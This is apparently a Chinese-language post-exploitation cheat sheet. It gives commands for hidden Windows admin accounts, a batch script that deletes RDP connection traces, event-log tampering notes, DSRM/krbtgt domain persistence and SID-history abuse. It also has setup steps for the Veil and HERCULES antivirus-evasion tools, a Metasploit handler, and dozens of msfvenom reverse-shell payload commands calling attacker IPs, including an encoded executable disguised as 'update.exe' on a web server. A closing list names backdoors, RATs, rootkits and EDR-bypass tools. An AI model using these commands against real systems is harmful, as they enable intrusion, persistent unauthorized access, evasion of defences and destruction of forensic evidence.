net user test$ 1234abcd~ /add # 添加用户
# Windows 的帐号名称后带着"$"符号时,不会在 net user 命令中显示出帐号信息
# 但是,在“计算机管理”——>“本地用户和组”——>“用户”中可以看到新创建的 “test$”。
net localgroup administrators test$ /add # 将用户添加到管理组
net user test$ /del # 删除用户
query user # 查看会话
logoff <ID号> # 踢掉
改注册表
新建 test$ 用户,不需要加入到管理员组
net user test$ 1234abcd~ /add
打开注册表 regedit,给予 administrator 完全控制和读取注册表 SAM 键的权限
Windows 系统在解析事件记录日志时,按照 Event Record 的大小逐条读取日志的内容。假设修改某条日志的长度,使长度覆盖下一条日志,理论上 Windows 系统解析日志时,就会跳过下一条日志,相当于下一条日志被”删除”。 DanderSpritz 中的 eventlogedit 就是这个思路,仅仅时修改了程度,实际上并没有删除日志内容。
3389 痕迹清除脚本
echo off
color 0A
title 3389连接痕迹清除
mode con cols=88 lines=20
set /p fk= 确定要清空3389连接痕迹吗?(y/n)
if /i "%fk%"=="y" goto y
if /i "%fk%"=="n" goto n
call %0
:y
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client" /f
del /a /f /q %HOMEPATH%\Documents\Default.rdp
echo 命令执行成功,请手动查看是否清除.
pause >nul
:n
exit
sysmon 日志劫持
域
相关文章
DSRM 密码同步
相关文章
获取到域控权限后利用 DSRM 密码同步将域管权限持久化。
ntdsutil
set DSRM password
SYNC FROM DOMAIN ACCOUNT krbtgt
Q
SID 历史记录是支持迁移方案的属性。每个用户帐户都有一个关联的安全标识符(SID),用于跟踪安全主体以及该帐户在连接到资源时所具有的访问权限。SID 历史记录使对另一个帐户的访问可以有效地克隆到另一个帐户。这对于确保用户从一个域移动(迁移)到另一个域时保留访问权限非常有用。由于在创建新帐户时用户的 SID 会更改,因此旧 SID 需要映射到新帐户。将域 A 中的用户迁移到域 B 时,将在域 B 中创建一个新的用户帐户,并将域 A 用户的 SID 添加到域 B 用户帐户的 SID 历史记录属性中。这样可以确保域 B 用户仍然可以访问域 A中的资源。
有趣的是,SID 历史记录对同一域中的 SID 的作用和对同一林中的跨域的 SID 的作用一样,这意味着域 A 中的常规用户帐户可以包含域 A SID,如果域 A 的 SID 是特权账户或组,那么普通用户账户可以获得域 A 的管理权限,而不需要是域 Admins 的成员。
注意:域中的普通用户可以在其 SID 历史记录中包含来自 Active Directory 目录林中的另一个域的 Enterprise Admin SID,从而将用户帐户的访问权限“提升”到目录林中所有域中的有效域管理员。
在大多数 Active Directory 实现中,在域上至少配置了一个 GPO,定义了授权密码、Kerberos 和全域策略;至少有一个为域控制器 OU 配置的 GPO;至少有一个为服务器和工作站 OU 配置的 GPO。这些 GPO 定义了特定于环境的安全设置,并通常配置管理组,包括启动/关闭脚本等。GPO 可以被配置为在每个级别上设置组织定义的安全要求,并可用于安装软件和设置文件和注册表权限。
merlin - Merlin is a cross-platform post-exploitation HTTP/2 Command & Control server and agent written in golang.
git clone https://github.com/Veil-Framework/Veil.git
cd Veil/setup/
./setup.sh -c
./Veil.py
# 确保电脑里有 Go 环境
git clone https://github.com/EgeBalci/HERCULES.git
cd HERCULES
wget -c https://github.com/fatih/color
go get github.com/fatih/color
go run Setup.go
cp -rf /root/go/src/github.com /usr/lib/go-1.7/src/github.com
cd SOURCE/
go run HERCULES.go
msfconsole
use exploit/multi/handler
set payload <payload-name> # 例如 set payload windows/x64/meterpreter_reverse_tcp
set lhost <lhost>
set lport <lport>
set EnableStageEncoding false
set ExitOnSession false
exploit -j -z
binaries
linux
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=your-ip lport=your-port -f elf > shell.elf
msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.3.226 LPORT=8888 -f elf -o x86_linux.elf
msfvenom -a x64 --platform Linux -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.3.226 LPORT=8888 -f elf -o x6_4linux.elf
msfvenom -a x64 --platform Linux -p linux/x64/shell_reverse_tcp LHOST=192.168.1.1 LPORT=4444 -f elf-so -o payload.so
windows
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=xxx.xxx.xxx.xxx LPORT=xxxx -f exe > ./vu.exe
msfvenom --payload windows/meterpreter/reverse_tcp LHOST=********* LPORT=8080 -f exe --platform windows --arch x86 -e x86/shikata_ga_nai -i 10 > /var/www/html/update.exe
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.3.226 LPORT=6666 -a x86 --platform Windows -f dll >x86.dll
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.3.226 LPORT=6666 --platform Windows -f dll >x64.dll
msfvenom -p nodejs/shell_reverse_tcp LHOST=192.168.3.226 LPORT=8888 -f raw -o payload.js
scripting
python
msfvenom -p cmd/unix/reverse_python lhost=your-ip lport=your-port -f raw > shell.py
msfvenom -p python/shell_reverse_tcp lhost=your-ip lport=your-port -f raw
jar
msfvenom -p java/meterpreter/reverse_tcp lhost=your-ip lport=your-port -f raw -o shell.jar
bash
msfvenom -p cmd/unix/reverse_bash lhost=your-ip lport=your-port -f raw > shell.sh
perl
msfvenom -p cmd/unix/reverse_perl lhost=your-ip lport=your-port -f raw > shell.pl
vbscript
msfvenom -p windows/meterpreter/reverse_tcp lhost=your-ip lport=your-port exitfunc=thread -f vbs -a x86 --platform windows > shell.vbs
C:\Documents and Settings\Administrator>cscript shell.vbs
Powershell
msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -e cmd/powershell_base64 -i 3 -f raw -o payload.ps1
msfvenom -a x86 --platform windows -p windows/powershell_reverse_tcp LHOST=192.168.3.226 LPORT=8888 -e cmd/powershell_base64 -i 3 -f raw -o x86_shell.ps1
msfvenom -a x64 --platform windows -p windows/x64/powershell_reverse_tcp LHOST=192.168.3.226 LPORT=8888 -e cmd/powershellbase64 -i 3 -f raw -o x64_shell.ps1
Ruby
msfvenom -p ruby/shell_reverse_tcp LHOST=192.168.3.226 LPORT=8888 -f raw -o payload.rb
Lua
msfvenom -p cmd/unix/reverse_lua LHOST=192.168.3.226 LPORT=8888 -f raw -o payload.lua
Windows Server 2008 需要安装 补丁才支持 DSRM 密码同步,Windows Server 2003不支持 DSRM 密码同步。
- Phantom attack is a collection of attacks that evade Linux system call monitoring. A user mode program does not need any special privileges or capabilities to reliably evade system call monitoring using Phantom attack by exploiting insecure tracing implementations.
- This is a daemon process which make a programe runing all time.
- 多功能Windows机器运维管理工具
- Pupy is an opensource, cross-platform (Windows, Linux, OSX, Android) remote administration and post-exploitation tool mainly written in python
- Adversary Emulation Framework
- Tiny SHell is an open-source UNIX backdoor.
- Tiny SHell Go - An open-source backdoor written in Go
- 用于 android 的 RAT
- 用于 iOS/macOS/Linux 的 RAT
- Veil is a tool designed to generate metasploit payloads that bypass common anti-virus solutions.
- HERCULES is a special payload generator that can bypass antivirus softwares.
- linux 的后渗透框架,可用于权限维持、提权等操作,半图形化.实际测试感觉不太行。
- LKM Linux rootkit
- Linux/Windows post-exploitation framework made by linux user
- 基于区块链网络的匿名跨平台远控程序
- 远程 shellcode+RC4
- Some ways to inject a DLL into a alive process
- Notion as a platform for offensive operations
- Abusing VirusTotal API to host our C2 traffic, usefull for bypassing blocking firewall rules if VirusTotal is in the target white list , and in case you don't have C2 infrastructure , now you have a free one
- Freeze is a payload toolkit for bypassing EDRs using suspended processes, direct syscalls, and alternative execution methods
- Public malware techniques used in the wild: Virtual Machine, Emulation, Debuggers, Sandbox detection.
- Pafish is a testing tool that uses different techniques to detect virtual machines and malware analysis environments in the same way that malware families do
- Golang anti-vm framework for Red Team and Pentesters